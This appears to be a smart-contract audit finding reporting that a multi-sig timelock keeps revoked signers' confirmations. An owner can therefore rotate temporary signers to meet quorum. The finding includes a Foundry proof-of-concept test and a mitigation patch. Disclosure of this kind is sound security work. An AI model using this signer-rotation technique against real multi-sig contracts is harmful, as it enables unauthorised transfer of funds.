Revoked signer's confirmations are not cleared, allowing quorum bypass via signer rotation
Description
When a signer is revoked via revokeSigningRole(), their existing confirmations on pending transactions are NOT cleared. This allows a malicious owner to bypass the 3-of-5 quorum requirement by rotating the 5th signer slot: grant role → have temp signer confirm → revoke role → repeat.
After 3 rotations, the transaction has 3 confirmations from addresses that are no longer signers, while 4 legitimate permanent signers never confirmed.
function revokeSigningRole(address signer) public onlyOwner {
_revokeRole(SIGNING_ROLE, signer);
@>
@>
@>
}
Risk
Likelihood: High
Impact: High
-
Complete bypass of multi-signature quorum mechanism
-
Transactions can execute with 0 confirmations from current legitimate signers
-
Defeats the entire purpose of multi-sig security
Proof of Concept
Explanation: Owner proposes a transaction that 4 permanent signers disagree with. Owner then rotates the 5th signer slot 3 times: each temp signer confirms, then gets revoked. The transaction accumulates 3 "ghost" confirmations and becomes executable despite all 4 current signers never confirming.
function test_RevokedSignerConfirmationsNotCleared() public {
multiSigTimelock.grantSigningRole(SIGNER_TWO);
multiSigTimelock.grantSigningRole(SIGNER_THREE);
multiSigTimelock.grantSigningRole(SIGNER_FOUR);
address recipient = makeAddr("recipient");
uint256 txId = multiSigTimelock.proposeTransaction(recipient, 0.5 ether, "");
address tempSigner1 = makeAddr("temp1");
multiSigTimelock.grantSigningRole(tempSigner1);
vm.prank(tempSigner1);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner1);
address tempSigner2 = makeAddr("temp2");
multiSigTimelock.grantSigningRole(tempSigner2);
vm.prank(tempSigner2);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner2);
address tempSigner3 = makeAddr("temp3");
multiSigTimelock.grantSigningRole(tempSigner3);
vm.prank(tempSigner3);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner3);
MultiSigTimelock.Transaction memory txn = multiSigTimelock.getTransaction(txId);
assertEq(txn.confirmations, 3);
multiSigTimelock.grantSigningRole(SIGNER_FIVE);
uint256 balanceBefore = recipient.balance;
vm.prank(SIGNER_FIVE);
multiSigTimelock.executeTransaction(txId);
assertEq(recipient.balance, balanceBefore + 0.5 ether);
}
Expected: Revoked signer's confirmations should be invalidated; quorum requires 3 current signers.
Actual: Ghost confirmations persist, allowing execution with 0 actual signer approvals.
Recommended Mitigation
Explanation: When a signer is revoked, iterate through all pending transactions and clear their confirmations. Alternatively, at execution time, verify that each confirmation belongs to a current signer.
function revokeSigningRole(address signer) public onlyOwner {
// ... existing validation ...
+ // Clear revoked signer's confirmations on all pending transactions
+ for (uint256 i = 0; i < s_txnCount; i++) {
+ if (s_signatures[i][signer] && !s_transactions[i].executed) {
+ s_signatures[i][signer] = false;
+ s_transactions[i].confirmations -= 1;
+ }
+ }
_revokeRole(SIGNING_ROLE, signer);
// ... rest of function ...
}